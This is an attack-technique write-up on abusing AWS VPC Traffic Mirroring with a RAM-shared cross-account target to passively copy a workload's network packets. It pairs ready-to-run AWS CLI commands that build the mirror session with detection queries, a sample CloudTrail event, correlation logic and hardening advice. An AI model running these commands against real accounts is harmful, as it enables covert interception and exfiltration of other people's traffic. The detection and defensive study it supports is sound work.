Passively collect workload network traffic

Cloud network controls can copy packets without installing an agent or changing the workload. VPC Traffic Mirroring selects traffic at an elastic network interface and sends matching packets to an out-of-band target. The workload does not initiate the collector connection and cannot observe the configuration from user space.

The validated cross-account implementation uses AWS RAM to make a Traffic Mirror target selectable from the source account. Existing supported VPC connectivity then carries the VXLAN-encapsulated copy to that target.

A principal with mirroring authority can establish passive packet collection entirely through AWS control-plane state.

Technique

The reusable technique delegates packet duplication to the cloud platform. The attacker controls a source, selection filter, and collector relationship. Because the copy occurs outside the guest, endpoint configuration and process telemetry do not describe the collection path.

flowchart LR
    A([Control-plane principal])
    W[Workload network interface]
    P[Platform packet copy]
    F[Selection filter]
    C[Separate collector]
    A --> P
    W --> P
    F --> P
    P --> C
    class A principal
    class W,P,F,C awsResource

Required properties

1. The attacker can create or modify a mirror session for the source interface.
2. A filter accepts traffic useful to the collection objective.
3. A supported mirror target exists and is selectable by the source account.
4. Network routing and target controls carry the encapsulated copy.
5. The workload protocol exposes useful metadata or plaintext because Traffic Mirroring does not decrypt TLS.

Implementations

How the implementation works

flowchart TB
    P([Compromised source-account principal])
    S[Source ENI]
    F[Traffic Mirror filter]
    M[Traffic Mirror session]
    R[AWS RAM resource share]
    T[Cross-account Traffic Mirror target]
    C[Existing VPC connectivity]
    X(VXLAN packets over UDP 4789)
    A[Monitoring appliance]
    P -->|CreateTrafficMirrorFilter and rules| F
    P -->|CreateTrafficMirrorSession| M
    S -->|matching ingress and egress packets| M
    F -->|accept or reject| M
    R -->|makes target selectable| T
    M -->|selects shared target| T
    C -->|routes encapsulated copy| X
    T -->|delivers mirrored traffic| A
    M --> X
    class P principal
    class S,F,M,R,T,C,A awsResource
    class X credential

A Traffic Mirror session joins four objects:

1. A source network interface of type interface.
2. A Traffic Mirror filter containing ordered ingress and egress rules.
3. A Traffic Mirror target backed by an ENI, Network Load Balancer, or Gateway Load Balancer endpoint.
4. A session number that controls evaluation order when an ENI has multiple sessions.^[1][2]

Filter rules are evaluated in ascending rule-number order, and the first matching rule decides whether to mirror a packet. A filter with no rules mirrors nothing. Session numbers work similarly across sessions on one source ENI: the first session with a matching filter receives the copy, and each packet is mirrored only once.^[3][2:1]

Matching packets are encapsulated in VXLAN and sent to UDP port 4789. The source subnet route table determines the path to the target. The target security group must admit the encapsulated traffic from the source, and the target must support the resulting VXLAN packet format.^[1:1][4]

The cross-account relationship has two independent requirements:

• Resource authorization: the target owner shares the Traffic Mirror target through RAM. A recipient in a different AWS Organization accepts the invitation before using the target. Only the target owner can modify or delete the target.^[5][6]
• Network reachability: the source subnet route table and the peering, transit gateway, Gateway Load Balancer endpoint, or shared-VPC path can carry the mirrored packets to the target.^[7]

Removing the RAM share makes the shared resource unavailable. Deleting a shared target while it is in use makes the session inactive. Traffic Mirror sessions created by another account are visible to the target owner through DescribeTrafficMirrorSessions, which gives both sides a current-state observation point.^[6:1]

Boundaries and failure conditions

Traffic Mirroring copies packets, not decrypted application state. TLS-protected application records remain encrypted. Packet headers, endpoints, protocols, sizes, timing, visible handshake fields, and any plaintext protocol content remain available in the mirrored stream.

AWS also excludes several traffic classes. Traffic Mirroring cannot copy ARP, DHCP, Instance Metadata Service, NTP, or Windows activation traffic, and it is unsupported in IPv6-only subnets. Inbound packets rejected by the source ENI security group or network ACL are not mirrored. Mirrored outbound traffic is not subject to the source ENI’s outbound security-group rules.^[8][1:2]

The copy is not guaranteed to be lossless. Mirrored traffic counts against source-instance bandwidth, and AWS drops mirrored packets first when instance bandwidth or packets-per-second limits are exceeded. Packet truncation can also occur because of a configured session packet length or target MTU. Network Load Balancer and Gateway Load Balancer targets can deliver packets out of order.^[8:1][1:3]

These constraints make the technique strongest for passive protocol observation, connection reconstruction, traffic classification, and collection of plaintext application data. It does not expose IMDS traffic or remove encryption from TLS sessions.

Execution requirements

The narrow control-plane path assumes the target, RAM relationship, and supported network route already exist.

Discovery commonly adds ec2:DescribeNetworkInterfaces, ec2:DescribeTrafficMirrorTargets, ec2:DescribeTrafficMirrorSessions, ec2:DescribeTrafficMirrorFilters, and ec2:DescribeTrafficMirrorFilterRules. They are not part of the three write actions that create the collection path when the IDs are already known.

CreateTrafficMirrorSession supports resource-level authorization across the source network interface, filter, new session, and target. The EC2 authorization reference also exposes Region and resource-tag condition keys for these resources. A principal does not need permission to modify the workload instance, its operating system, or its application.^[9]

When tags are supplied during filter, rule, session, or target creation, the corresponding API also authorizes ec2:CreateTags. The commands below omit tags, so that additional action is not required.^[9:1]

The data-plane prerequisites remain independent of IAM. A successful CreateTrafficMirrorSession does not add routes, open the target security group, add a UDP listener, or fix an incompatible source instance type.

Execution

This example uses source account 111122223333 in us-east-2. The selected workload interface is eni-0123456789abcdef0. Target tmt-0abc1234def567890 belongs to monitoring account 444455556666, is already shared with the source account, and is reachable through existing supported connectivity.

A share between accounts in different AWS Organizations must be accepted in the source account before the target can be selected:

aws ram accept-resource-share-invitation \
  --resource-share-invitation-arn \
    arn:aws:ram:us-east-2:444455556666:resource-share-invitation/12345678-abcd-1234-abcd-1234567890ab \
  --region us-east-2

No invitation acceptance is needed when the target is already available through an applicable organization share. The shared target appears in the source account’s Traffic Mirror target inventory with the owner’s account ID:

aws ec2 describe-traffic-mirror-targets \
  --traffic-mirror-target-ids tmt-0abc1234def567890 \
  --query 'TrafficMirrorTargets[].{Target:TrafficMirrorTargetId,Owner:OwnerId,Type:Type}' \
  --region us-east-2

Create a Traffic Mirror filter:

FILTER_ID=$(aws ec2 create-traffic-mirror-filter \
  --description 'Selected HTTPS flows' \
  --query 'TrafficMirrorFilter.TrafficMirrorFilterId' \
  --output text \
  --region us-east-2)

Add an egress rule for outbound IPv4 TCP connections to destination port 443:

aws ec2 create-traffic-mirror-filter-rule \
  --traffic-mirror-filter-id "$FILTER_ID" \
  --traffic-direction egress \
  --rule-number 100 \
  --rule-action accept \
  --protocol 6 \
  --source-cidr-block 0.0.0.0/0 \
  --destination-cidr-block 0.0.0.0/0 \
  --destination-port-range FromPort=443,ToPort=443 \
  --region us-east-2

Add the corresponding ingress rule for response traffic whose source port is 443:

aws ec2 create-traffic-mirror-filter-rule \
  --traffic-mirror-filter-id "$FILTER_ID" \
  --traffic-direction ingress \
  --rule-number 100 \
  --rule-action accept \
  --protocol 6 \
  --source-cidr-block 0.0.0.0/0 \
  --destination-cidr-block 0.0.0.0/0 \
  --source-port-range FromPort=443,ToPort=443 \
  --region us-east-2

The two rules select both directions of ordinary HTTPS flows. They do not decrypt the TLS payload. Different CIDRs, protocols, port ranges, and rule actions can narrow the packet set.^[10]

Create the session against the cross-account target:

aws ec2 create-traffic-mirror-session \
  --network-interface-id eni-0123456789abcdef0 \
  --traffic-mirror-target-id tmt-0abc1234def567890 \
  --traffic-mirror-filter-id "$FILTER_ID" \
  --session-number 1 \
  --virtual-network-id 4172 \
  --description 'Selected HTTPS flows' \
  --region us-east-2

SessionNumber must be unique for the source ENI and can range from 1 through 32766. Lower numbers are evaluated first. An existing lower-numbered session with a matching filter receives the packet instead, because a packet is mirrored only once.^[11][2:2]

Omitting PacketLength requests the entire accepted packet rather than an intentional prefix. For a Network Load Balancer target, AWS sets the default packet length to 8500 bytes. A specified value can range from 1 through 8500 bytes, subject to the documented target and MTU behavior.^[11:1][8:2]

Once the session is active, packet copying follows matching ENI traffic. There is no subsequent credential-vending API, workload callback, or application-layer request to correlate with collection.

Detection

The behavioral invariant is a workload ENI connected through a mirror session and permissive filter to a collector target, especially one owned by another account. Reconstruct the current source, ordered filter rules, target ownership, RAM share, and network path before interpreting individual create events.

1. DescribeTrafficMirrorSessions identifies each source ENI, filter ID, target ID, session number, packet length, VNI, and session owner.
2. DescribeTrafficMirrorTargets resolves each target ID to its OwnerId and backing target type.
3. DescribeTrafficMirrorFilterRules shows which packets the session accepts or rejects.
4. RAM inventory explains why an externally owned target is selectable in the source account.

A session inventory without target-owner enrichment misses the cross-account property. A RAM-share inventory without EC2 session state cannot show which source ENIs are actively sending copies.

Current-state inventory

List sessions and the source, filter, and target relationships:

aws ec2 describe-traffic-mirror-sessions \
  --query 'TrafficMirrorSessions[].{Session:TrafficMirrorSessionId,Owner:OwnerId,Source:NetworkInterfaceId,Target:TrafficMirrorTargetId,Filter:TrafficMirrorFilterId,Number:SessionNumber,VNI:VirtualNetworkId,PacketLength:PacketLength}' \
  --region us-east-2

List targets with ownership and backing resource type:

aws ec2 describe-traffic-mirror-targets \
  --query 'TrafficMirrorTargets[].{Target:TrafficMirrorTargetId,Owner:OwnerId,Type:Type,ENI:NetworkInterfaceId,NLB:NetworkLoadBalancerArn,GWLBE:GatewayLoadBalancerEndpointId}' \
  --region us-east-2

List every filter rule and preserve its direction, priority, action, protocol, CIDRs, and port ranges:

aws ec2 describe-traffic-mirror-filter-rules \
  --query 'TrafficMirrorFilterRules[].{Rule:TrafficMirrorFilterRuleId,Filter:TrafficMirrorFilterId,Direction:TrafficDirection,Number:RuleNumber,Action:RuleAction,Protocol:Protocol,Source:SourceCidrBlock,Destination:DestinationCidrBlock,SourcePorts:SourcePortRange,DestinationPorts:DestinationPortRange}' \
  --region us-east-2

List Traffic Mirror targets shared into the account through RAM:

aws ram list-resources \
  --resource-owner OTHER-ACCOUNTS \
  --resource-type ec2:TrafficMirrorTarget \
  --query 'resources[].{Arn:arn,ShareArn:resourceShareArn,Status:status}' \
  --region us-east-2

These APIs paginate. Inventory must cover every Region and consume every page. Resolve each source ENI to its attached workload, VPC, subnet, security groups, and owner. Then join each target to its RAM share, target-owner account, supported connectivity path, and expected monitoring purpose.^[12][13][14]

Focused CloudTrail event

Amazon EC2 API calls are CloudTrail management events under ec2.amazonaws.com. A successful session-creation event contains the actor and the IDs that define the collection relationship.^[15][11:2]

{
  "eventTime": "2026-09-02T14:20:00Z",
  "eventSource": "ec2.amazonaws.com",
  "eventName": "CreateTrafficMirrorSession",
  "awsRegion": "us-east-2",
  "userIdentity": {
    "type": "AssumedRole",
    "arn": "arn:aws:sts::111122223333:assumed-role/NetworkAutomation/session",
    "accountId": "111122223333"
  },
  "sourceIPAddress": "198.51.100.24",
  "requestParameters": {
    "networkInterfaceId": "eni-0123456789abcdef0",
    "trafficMirrorTargetId": "tmt-0abc1234def567890",
    "trafficMirrorFilterId": "tmf-0123abc456def7890",
    "sessionNumber": 1,
    "virtualNetworkId": 4172,
    "description": "Selected HTTPS flows"
  },
  "responseElements": {
    "trafficMirrorSession": {
      "trafficMirrorSessionId": "tms-0fedcba9876543210",
      "trafficMirrorTargetId": "tmt-0abc1234def567890",
      "trafficMirrorFilterId": "tmf-0123abc456def7890",
      "networkInterfaceId": "eni-0123456789abcdef0",
      "ownerId": "111122223333",
      "sessionNumber": 1,
      "virtualNetworkId": 4172
    }
  },
  "readOnly": false,
  "managementEvent": true,
  "recipientAccountId": "111122223333",
  "eventCategory": "Management"
}

The event records the target ID, not the target owner’s account as part of the session relationship. Enrich trafficMirrorTargetId from current or historical target inventory before deciding whether the target is internal or cross-account.

Detection inputs

VPC Flow Logs do not capture the mirrored packet stream. They are not a substitute for session and target inventory or the dedicated EC2 Traffic Mirroring metrics.^[8:3]

Correlation logic

1. Build a regional target table keyed by TrafficMirrorTargetId, including OwnerId, type, backing resource, RAM share, and approved source accounts.
2. Alert on any session whose target owner differs from the source-account ID and is not an approved monitoring account.
3. Resolve NetworkInterfaceId to the workload, subnet, VPC, service owner, and data classification. Raise severity for identity, payment, administrative, or east-west service interfaces.
4. Expand the attached filter into ordered rules. Calculate the effective accepted traffic by direction, accounting for earlier reject rules and session priority.
5. Correlate AcceptResourceShareInvitation with CreateTrafficMirrorFilter, CreateTrafficMirrorFilterRule, and CreateTrafficMirrorSession in the same Region and source account.
6. Detect ModifyTrafficMirrorSession changes that replace an approved target or filter with a cross-account target or broader rule set.
7. Compare CloudWatch mirror-byte and mirror-packet metrics with the approved session inventory. Unexpected nonzero mirror metrics can expose an inventory or telemetry gap.
8. Retain historical target ownership. A later share or target deletion must not erase the ownership context needed to interpret an earlier session event.

Target owners should also reconcile sessions visible through DescribeTrafficMirrorSessions. AWS exposes sessions created by other accounts to the owner of the shared target, creating an independent record of which accounts use the target.^[6:2]

Hardening

Hardening must remove mirror-session authority, the accepted packet scope, external target selection, target reachability, or the value of captured payloads through authenticated encryption.

References